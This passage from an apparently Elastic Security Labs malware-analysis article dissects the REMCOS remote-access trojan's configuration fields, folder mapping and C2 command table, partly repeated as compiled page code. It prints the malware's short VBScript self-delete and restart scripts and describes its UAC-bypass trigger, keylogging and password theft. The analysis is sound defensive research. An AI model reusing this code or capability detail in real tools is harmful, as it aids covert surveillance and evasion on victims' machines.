process](/assets/images/dissecting-remcos-rat-part-three/image38.png)\n\n\nThen, it deletes all the recording files (keylogging, screenshots, and audio recordings).\n\n![```0x40D0A5``` Deleting * recording files](/assets/images/dissecting-remcos-rat-part-three/image88.png)\n\n\nThen, it deletes its registry persistence keys.\n\n![```0x40D0EC``` Deleting * persistence keys](/assets/images/dissecting-remcos-rat-part-three/image47.png)\n\n\nFinally, it deletes its installation files by creating and executing a Visual Basic script in the %TEMP% folder with a random filename, then terminates its process.\n\n![```0x40D412``` Executing the delete visual basic script and exit](/assets/images/dissecting-remcos-rat-part-three/image75.png)\n\n\nBelow the generated script with comments.\n\n```\n' Continue execution even if an error occurs\nOn Error Resume Next\n\n' Create a FileSystemObject\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\n\n' Loop while the specified file exists\nwhile fso.FileExists(\"C:\\Users\\Cyril\\Desktop\\corpus\\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe\")\n\n' Delete the specified file\nfso.DeleteFile \"C:\\Users\\Cyril\\Desktop\\corpus\\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe\"\n\n' End of the loop\nwend\n\n' Delete the script itself\nfso.DeleteFile(Wscript.ScriptFullName)\n```\n\n### Restart command\n\nThe Restart command kills the watchdog process and restarts the REMCOS binary using a generated Visual Basic script.\n\nBelow is the generated script with comments.\n\n```\n' Create a WScript.Shell object and run a command in the command prompt\n' The command runs the specified .exe file\n' The \"0\" argument means the command prompt window will not be displayed\nCreateObject(\"WScript.Shell\").Run \"cmd /c \"\"C:\\Users\\Cyril\\Desktop\\corpus\\0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5.exe\"\"\", 0\n\n' Create a FileSystemObject and delete the script itself\nCreateObject(\"Scripting.FileSystemObject\").DeleteFile(Wscript.ScriptFullName)\n```\n\n## DumpBrowserHistoryUsingNirsoft command\n\nLike the StealPasswords command, the DumpBrowserHistoryUsingNirsoft command steals browser history using likely another Nirsoft binary received from the C2 as part of the command parameter. Again, we identify the binary as part of Nirsoft because of the ```/stext``` parameter.\n\n![```0x40404C``` Dumping browsers history using likely Nirsoft binary](/assets/images/dissecting-remcos-rat-part-three/image46.png)\n\n\n### ElevateProcess command\n\nThe ElevateProcess command, if the process isn’t already running with administrator privileges, will set the ```HKCU/SOFTWARE/{mutex}/elev``` registry key and restart the malware using the same method as the Restart command.\n\n![```0x416EF6``` Set the ```elev``` registry key and restart](/assets/images/dissecting-remcos-rat-part-three/image26.png)\n\n\nUpon restart, the REMCOS checks the ```elev``` value as part of its initialization phase. If the value exists, it'll delete it and utilize its UAC bypass feature to elevate its privileges.\n\n![```0x40EC39``` Forced UAC bypass if the ```elev``` key exists in the registry](/assets/images/dissecting-remcos-rat-part-three/image95.png)\n\n\nThat’s the end of the third article. In the final part we’ll cover detection and hunt strategies of REMCOS using Elastic technologies.\n","code":"var Component=(()=\u003e{var o=Object.create;var d=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var u=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),x=(i,e)=\u003e{for(var r in e)d(i,r,{get:e[r],enumerable:!0})},c=(i,e,r,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of m(e))!f.call(i,n)\u0026\u0026n!==r\u0026\u0026d(i,n,{get:()=\u003ee[n],enumerable:!(l=g(e,n))||l.enumerable});return i};var w=(i,e,r)=\u003e(r=i!=null?o(p(i)):{},c(e||!i||!i.__esModule?d(r,\"default\",{value:i,enumerable:!0}):r,i)),y=i=\u003ec(d({},\"__esModule\",{value:!0}),i);var h=u((v,a)=\u003e{a.exports=_jsx_runtime});var S={};x(S,{default:()=\u003eC,frontmatter:()=\u003eb});var t=w(h()),b={title:\"Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Three\",slug:\"dissecting-remcos-rat-part-three\",date:\"2024-05-03\",subtitle:\"Part three: Configuration and commands\",description:\"In previous articles in this multipart series, malware researchers on the Elastic Security Labs team dove into the REMCOS execution flow. In this article, you\\u2019ll learn more about REMCOS configuration structure and its C2 commands.\",author:[{slug:\"cyril-francois\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 14.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"malware-analysis\",\"remcos\"]};function s(i){let e=Object.assign({p:\"p\",a:\"a\",h2:\"h2\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",img:\"img\",code:\"code\",ul:\"ul\",li:\"li\",pre:\"pre\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.p,{children:[\"In \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dissecting-remcos-rat-part-one\",rel:\"nofollow\",children:\"previous\"}),\" \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/dissecting-remcos-rat-part-two\",rel:\"nofollow\",children:\"articles\"}),\" in this multipart series, malware researchers on the Elastic Security Labs team analyzed REMCOS execution flow, detailing its recording capabilities and its communication with C2. In this article, you\\u2019ll learn more about REMCOS configuration structure and its C2 commands.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"the-configuration\",children:\"The configuration\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this section, we provide a comprehensive overview of the configuration fields of the malware.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"configuration-table\",children:\"Configuration Table\"}),`\n`,(0,t.jsx)(e.p,{children:\"Researchers successfully recovered approximately 80% of the configuration structure (45 out of 56 fields). We provide detailed configuration information in the following table:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Index\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Description\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x0\"}),(0,t.jsx)(e.td,{children:\"c2_list\"}),(0,t.jsx)(e.td,{children:\"String containing \\u201Cdomain:port:enable_tls\\u201C separated by the \\u201C\\\\x1e\\u201D character\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1\"}),(0,t.jsx)(e.td,{children:\"botnet\"}),(0,t.jsx)(e.td,{children:\"Name of the botnet\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2\"}),(0,t.jsx)(e.td,{children:\"connect_interval\"}),(0,t.jsx)(e.td,{children:\"Interval in second between connection attempt to C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x3\"}),(0,t.jsx)(e.td,{children:\"enable_install_flag\"}),(0,t.jsx)(e.td,{children:\"Install REMCOS on the machine host\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x4\"}),(0,t.jsx)(e.td,{children:\"enable_hkcu_run_persistence_flag\"}),(0,t.jsx)(e.td,{children:\"Enable setup of the persistence in the registry\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x5\"}),(0,t.jsx)(e.td,{children:\"enable_hklm_run_persistence_flag\"}),(0,t.jsx)(e.td,{children:\"Enable setup of the persistence in the registry\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x7\"}),(0,t.jsx)(e.td,{children:\"keylogger_maximum_file_size\"}),(0,t.jsx)(e.td,{children:\"Maximum size of the keylogging data before rotation\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x8\"}),(0,t.jsx)(e.td,{children:\"enable_hklm_policies_explorer_run_flag\"}),(0,t.jsx)(e.td,{children:\"Enable setup of the persistence in the registry\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x9\"}),(0,t.jsx)(e.td,{children:\"install_parent_directory\"}),(0,t.jsx)(e.td,{children:\"Parent directory of the install folder. Integer mapped to an hardcoded path\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xA\"}),(0,t.jsx)(e.td,{children:\"install_filename\"}),(0,t.jsx)(e.td,{children:\"Name of the REMCOS binary once installed\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xC\"}),(0,t.jsx)(e.td,{children:\"enable_persistence_directory_and_binary_hidding_flag\"}),(0,t.jsx)(e.td,{children:\"Enable super hiding the install directory and binary as well as setting them to read only\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xD\"}),(0,t.jsx)(e.td,{children:\"enable_process_injection_flag\"}),(0,t.jsx)(e.td,{children:\"Enable running the malware injected in another process\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xE\"}),(0,t.jsx)(e.td,{children:\"mutex\"}),(0,t.jsx)(e.td,{children:\"String used as the malware mutex and registry key\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xF\"}),(0,t.jsx)(e.td,{children:\"keylogger_mode\"}),(0,t.jsx)(e.td,{children:\"Set keylogging capability. Keylogging mode, 0 = disabled, 1 = keylogging everything, 2 = keylogging specific window(s)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x10\"}),(0,t.jsx)(e.td,{children:\"keylogger_parent_directory\"}),(0,t.jsx)(e.td,{children:\"Parent directory of the keylogging folder. Integer mapped to an hardcoded path\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x11\"}),(0,t.jsx)(e.td,{children:\"keylogger_filename\"}),(0,t.jsx)(e.td,{children:\"Filename of the keylogged data\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x12\"}),(0,t.jsx)(e.td,{children:\"enable_keylogger_file_encryption_flag\"}),(0,t.jsx)(e.td,{children:\"Enable encryption RC4 of the keylogger data file\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x13\"}),(0,t.jsx)(e.td,{children:\"enable_keylogger_file_hidding_flag\"}),(0,t.jsx)(e.td,{children:\"Enable super hiding of the keylogger data file\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x14\"}),(0,t.jsx)(e.td,{children:\"enable_screenshot_flag\"}),(0,t.jsx)(e.td,{children:\"Enable screen recording capability\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x15\"}),(0,t.jsx)(e.td,{children:\"screenshot_interval_in_minutes\"}),(0,t.jsx)(e.td,{children:\"The time interval in minute for capturing each screenshot\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x16\"}),(0,t.jsx)(e.td,{children:\"enable_screenshot_specific_window_names_flag\"}),(0,t.jsx)(e.td,{children:\"Enable screen recording for specific window names\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x17\"}),(0,t.jsx)(e.td,{children:\"screenshot_specific_window_names\"}),(0,t.jsx)(e.td,{children:\"String containing window names separated by the \\u201C;\\u201D character\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x18\"}),(0,t.jsx)(e.td,{children:\"screenshot_specific_window_names_interval_in_seconds\"}),(0,t.jsx)(e.td,{children:\"The time interval in second for capturing each screenshot when a specific window name is found in the current foreground window title\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x19\"}),(0,t.jsx)(e.td,{children:\"screenshot_parent_directory\"}),(0,t.jsx)(e.td,{children:\"Parent directory of the screenshot folder. Integer mapped to an hardcoded path\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1A\"}),(0,t.jsx)(e.td,{children:\"screenshot_folder\"}),(0,t.jsx)(e.td,{children:\"Name of the screenshot folder\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1B\"}),(0,t.jsx)(e.td,{children:\"enable_screenshot_encryption_flag\"}),(0,t.jsx)(e.td,{children:\"Enable encryption of screenshots\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x23\"}),(0,t.jsx)(e.td,{children:\"enable_audio_recording_flag\"}),(0,t.jsx)(e.td,{children:\"Enable audio recording capability\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x24\"}),(0,t.jsx)(e.td,{children:\"audio_recording_duration_in_minutes\"}),(0,t.jsx)(e.td,{children:\"Duration in second of each audio recording\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x25\"}),(0,t.jsx)(e.td,{children:\"audio_record_parent_directory\"}),(0,t.jsx)(e.td,{children:\"Parent directory of the audio recording folder. Integer mapped to an hardcoded path\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x26\"}),(0,t.jsx)(e.td,{children:\"audio_record_folder\"}),(0,t.jsx)(e.td,{children:\"Name of the audio recording folder\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x27\"}),(0,t.jsx)(e.td,{children:\"disable_uac_flag\"}),(0,t.jsx)(e.td,{children:\"Disable UAC in the registry\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x28\"}),(0,t.jsx)(e.td,{children:\"logging_mode\"}),(0,t.jsx)(e.td,{children:\"Set logging mode: 0 = disabled, 1 = minimized in tray, 2 = console logging\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x29\"}),(0,t.jsx)(e.td,{children:\"connect_delay_in_second\"}),(0,t.jsx)(e.td,{children:\"Delay in second before the first connection attempt to the C2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2A\"}),(0,t.jsx)(e.td,{children:\"keylogger_specific_window_names\"}),(0,t.jsx)(e.td,{children:\"String containing window names separated by the \\u201C;\\u201D character\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2B\"}),(0,t.jsx)(e.td,{children:\"enable_browser_cleaning_on_startup_flag\"}),(0,t.jsx)(e.td,{children:\"Enable cleaning web browsers\\u2019 cookies and logins on REMCOS startup\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2C\"}),(0,t.jsx)(e.td,{children:\"enable_browser_cleaning_only_for_the_first_run_flag\"}),(0,t.jsx)(e.td,{children:\"Enable web browsers cleaning only on the first run of Remcos\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2D\"}),(0,t.jsx)(e.td,{children:\"browser_cleaning_sleep_time_in_minutes\"}),(0,t.jsx)(e.td,{children:\"Sleep time in minute before cleaning the web browsers\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2E\"}),(0,t.jsx)(e.td,{children:\"enable_uac_bypass_flag\"}),(0,t.jsx)(e.td,{children:\"Enable UAC bypass capability\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x30\"}),(0,t.jsx)(e.td,{children:\"install_directory\"}),(0,t.jsx)(e.td,{children:\"Name of the install directory\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x31\"}),(0,t.jsx)(e.td,{children:\"keylogger_root_directory\"}),(0,t.jsx)(e.td,{children:\"Name of the keylogger directory\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x32\"}),(0,t.jsx)(e.td,{children:\"enable_watchdog_flag\"}),(0,t.jsx)(e.td,{children:\"Enable watchdog capability\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x34\"}),(0,t.jsx)(e.td,{children:\"license\"}),(0,t.jsx)(e.td,{children:\"License serial\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x35\"}),(0,t.jsx)(e.td,{children:\"enable_screenshot_mouse_drawing_flag\"}),(0,t.jsx)(e.td,{children:\"Enable drawing the mouse on each screenshot\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x36\"}),(0,t.jsx)(e.td,{children:\"tls_raw_certificate\"}),(0,t.jsx)(e.td,{children:\"Certificate in raw format used with tls enabled C2 communication\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x37\"}),(0,t.jsx)(e.td,{children:\"tls_key\"}),(0,t.jsx)(e.td,{children:\"Key of the certificate\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x38\"}),(0,t.jsx)(e.td,{children:\"tls_raw_peer_certificate\"}),(0,t.jsx)(e.td,{children:\"C2 public certificate in raw format\"})]})]})]})}),`\n`,(0,t.jsx)(e.h3,{id:\"integer-to-path-mapping\",children:\"Integer to path mapping\"}),`\n`,(0,t.jsx)(e.p,{children:'REMCOS utilizes custom mapping for some of its \"folder\" fields instead of a string provided by the user.'}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image70.png\",alt:\"\",width:\"370\",height:\"215\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We provide details of the mapping below:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Value\"}),(0,t.jsx)(e.th,{children:\"Path\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0\"}),(0,t.jsx)(e.td,{children:\"%Temp%\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"1\"}),(0,t.jsx)(e.td,{children:\"Current malware directory\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"2\"}),(0,t.jsx)(e.td,{children:\"%SystemDrive%\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"3\"}),(0,t.jsx)(e.td,{children:\"%WinDir%\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"4\"}),(0,t.jsx)(e.td,{children:\"%WinDir%//SysWOW64\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"5\"}),(0,t.jsx)(e.td,{children:\"%ProgramFiles%\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"6\"}),(0,t.jsx)(e.td,{children:\"%AppData%\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"7\"}),(0,t.jsx)(e.td,{children:\"%UserProfile%\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"8\"}),(0,t.jsx)(e.td,{children:\"%ProgramData%\"})]})]})]})}),`\n`,(0,t.jsx)(e.h3,{id:\"configuration-extraction-an-inside-perspective\",children:\"Configuration extraction, an inside perspective\"}),`\n`,(0,t.jsx)(e.p,{children:\"We enjoy building tools, and we'd like to take this opportunity to provide some insight into the type of tools we develop to aid in our analysis of malware families like REMCOS.\"}),`\n`,(0,t.jsx)(e.p,{children:'We developed a configuration extractor called \"conf-tool\", which not only extracts and unpacks the configuration from specific samples but can also repackage it with modifications.'}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image28.png\",alt:\"conf-tool help screen\",width:\"683\",height:\"175\"})}),`\n`,(0,t.jsx)(e.p,{children:\"First, we unpack the configuration.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image35.png\",alt:\"Unpacking the configuration\",width:\"1130\",height:\"34\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The configuration is saved to the disk as a JSON document, with each field mapped to its corresponding type.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image86.png\",alt:\"Dumped configuration in JSON format\",width:\"516\",height:\"597\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We are going to replace all the domains in the list with the IP address of our C2 emulator to initiate communication with the sample.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image44.png\",alt:\"Setting our IP in the C2 list\",width:\"401\",height:\"139\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We are also enabling the logging mode to console (2):\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image37.png\",alt:\"Setting logging mode to console in the configuration\",width:\"313\",height:\"51\"})}),`\n`,(0,t.jsxs)(e.p,{children:[`Once we're done, repack everything:\n`,(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image35.png\",alt:\"Repacking the configuration in the REMCOS sample\",width:\"1130\",height:\"34\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"And voil\\xE0, we have the console, and the sample attempts to connect to our emulator!\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-three/image65.png\",alt:\"REMCOS console\",width:\"622\",height:\"277\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We are releasing a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/extractors/remcos\",rel:\"nofollow\",children:\"REMCOS malware configuration extractor\"}),\" that includes some of these features.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"c2-commands\",children:\"C2 commands\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this section, we present a list of all the commands we've reversed that are executable by the Command and Control (C2). Furthermore, we provide additional details for a select subset of commands.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"command-table\",children:\"Command table\"}),`\n`,(0,t.jsx)(e.p,{children:\"Researchers recovered approximately 95% of the commands (74 out of 78). We provide information about the commands in the following table:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Function\"}),(0,t.jsx)(e.th,{children:\"Name\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1\"}),(0,t.jsx)(e.td,{children:\"HeartBeat\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2\"}),(0,t.jsx)(e.td,{children:\"DisableKeepAlive\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x3\"}),(0,t.jsx)(e.td,{children:\"ListInstalledApplications\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x6\"}),(0,t.jsx)(e.td,{children:\"ListRunningProcesses\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x7\"}),(0,t.jsx)(e.td,{children:\"TerminateProcess\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x8\"}),(0,t.jsx)(e.td,{children:\"ListProcessesWindows\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x9\"}),(0,t.jsx)(e.td,{children:\"CloseWindow\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xA\"}),(0,t.jsx)(e.td,{children:\"ShowWindowMaximized\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xB\"}),(0,t.jsx)(e.td,{children:\"ShowWindowRestore\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xC\"}),(0,t.jsx)(e.td,{children:\"TerminateProcessByWindowHandleAndListProcessesWindows\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xD\"}),(0,t.jsx)(e.td,{children:\"ExecuteShellCmd\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xE\"}),(0,t.jsx)(e.td,{children:\"StartPipedShell\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0xF\"}),(0,t.jsx)(e.td,{children:\"ExecuteProgram\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x10\"}),(0,t.jsx)(e.td,{children:\"MaybeUploadScreenshots\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x11\"}),(0,t.jsx)(e.td,{children:\"GetHostGeolocation\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x12\"}),(0,t.jsx)(e.td,{children:\"GetOfflineKeyloggerInformation\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x13\"}),(0,t.jsx)(e.td,{children:\"StartOnlineKeylogger\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x14\"}),(0,t.jsx)(e.td,{children:\"StopOnlineKeylogger\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x15\"}),(0,t.jsx)(e.td,{children:\"MaybeSetKeyloggerNameAndUploadData\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x16\"}),(0,t.jsx)(e.td,{children:\"UploadKeyloggerData\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x17\"}),(0,t.jsx)(e.td,{children:\"DeleteKeyloggerDataThenUploadIfAnythingNewInbetween\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x18\"}),(0,t.jsx)(e.td,{children:\"CleanBrowsersCookiesAndLogins\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1B\"}),(0,t.jsx)(e.td,{children:\"StartWebcamModule\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1C\"}),(0,t.jsx)(e.td,{children:\"StopWebcamModule\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1D\"}),(0,t.jsx)(e.td,{children:\"EnableAudioCapture\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1E\"}),(0,t.jsx)(e.td,{children:\"DisableAudioCapture\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x1F\"}),(0,t.jsx)(e.td,{children:\"StealPasswords\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x20\"}),(0,t.jsx)(e.td,{children:\"DeleteFile\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x21\"}),(0,t.jsx)(e.td,{children:\"TerminateSelfAndWatchdog\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x22\"}),(0,t.jsx)(e.td,{children:\"Uninstall\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x23\"}),(0,t.jsx)(e.td,{children:\"Restart\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x24\"}),(0,t.jsx)(e.td,{children:\"UpdateFromURL\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x25\"}),(0,t.jsx)(e.td,{children:\"UpdateFromC2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x26\"}),(0,t.jsx)(e.td,{children:\"MessageBox\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x27\"}),(0,t.jsx)(e.td,{children:\"ShutdownOrHibernateHost\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x28\"}),(0,t.jsx)(e.td,{children:\"UploadClipboardData\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x29\"}),(0,t.jsx)(e.td,{children:\"SetClipboardToSpecificData\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2A\"}),(0,t.jsx)(e.td,{children:\"EmptyClipboardThenUploadIfAnythingInbetween\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2B\"}),(0,t.jsx)(e.td,{children:\"LoadDllFromC2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2C\"}),(0,t.jsx)(e.td,{children:\"LoadDllFromURL\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2D\"}),(0,t.jsx)(e.td,{children:\"StartFunFuncModule\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"0x2F\"}),(0,t.jsx)(e.td,{children:\"